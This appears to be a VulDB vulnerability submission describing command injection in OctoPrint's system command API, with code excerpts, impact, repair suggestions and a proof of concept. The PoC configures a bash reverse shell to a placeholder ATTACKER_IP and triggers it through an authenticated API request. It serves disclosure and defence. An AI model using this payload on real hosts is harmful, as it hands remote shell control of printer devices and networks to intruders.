| Titolo | OctoPrint (https://octoprint.org/) OctoPrint Foundation 1.0.0 OS Command Injection (CWE-78), Path Traversal (CWE-22) |
|---|
| Descrizione | 1、Vulnerability Description
OctoPrint’s system command API at /api/system/commands/custom/<action> allows authenticated users with SYSTEM permissions to execute arbitrary shell commands via custom-configured system actions. While the action name is validated against a whitelist from configuration, the command string itself is executed with shell=True without any sanitization. Additionally, plugin-registered commands via the octoprint.system.additional_commands hook can register arbitrary commands that are also executed with shell=True.
2、impact
An attacker with SYSTEM-level API access (typically the administrator of a 3D printer running OctoPrint) can execute arbitrary OS commands on the host system. Since OctoPrint typically runs as the primary user on a Raspberry Pi or similar device controlling a 3D printer, this grants full control over the printing hardware, local network, and any connected peripherals.
3、Evidence/Technical Details
document: src/octoprint/server/api/system.py
function: executeSystemCommand()
Key code (line ~110-145):
def execute():
return_code, stdout_lines, stderr_lines = CommandlineCaller().call(
command_spec["command"], shell=True # ← shell=True without sanitization
)
Custom command loading (src/octoprint/server/api/system.py):
def _get_custom_command_specs():
for spec in s().get(["system", "actions"]):
# command field is loaded directly from YAML config without validation
specs[action] = copied
Plugin command loading:
def _get_plugin_command_specs(plugin=None):
hooks = plugin_manager().get_hooks("octoprint.system.additional_commands")
for name, hook in hooks.items():
plugin_specs = hook()
for spec in plugin_specs:
# Only action name is regex-validated, command is not
if not _plugin_action_regex.match(action):
continue
specs[action] = dict(spec) # command field unchecked
4、PoC
# Step 1: Add malicious custom command via settings.yaml
# In ~/.octoprint/config.yaml:
# system:
# actions:
# - action: "reverse_shell"
# name: "Diagnostic"
# command: "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Step 2: Trigger via API
import requests
resp = requests.post(
"http://TARGET:5000/api/system/commands/custom/reverse_shell",
headers={"X-Api-Key": "ADMIN_API_KEY"},
json={}
)
5、Repair suggestions
# Option 1: Sanitize command strings
import re
SHELL_META = re.compile(r'[;&|`$(){}!<>\\\n\r]')
def sanitize_cmd(cmd):
if SHELL_META.search(cmd):
raise ValueError("Command contains dangerous characters")
return cmd
# Option 2: Use shell=False with command list
# Option 3: Validate command against a whitelist of allowed patterns |
|---|
| Utente | EagleShadow (UID 99969) |
|---|
| Sottomissione | 19/07/2026 07:23 (2 mesi fa) |
|---|
| Moderazione | 21/09/2026 19:45 (2 months later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 408190 [OctoPrint 1.0.0 Command API system.py executeSystemCommand command escalationi di privilegi] |
|---|
| Punti | 17 |
|---|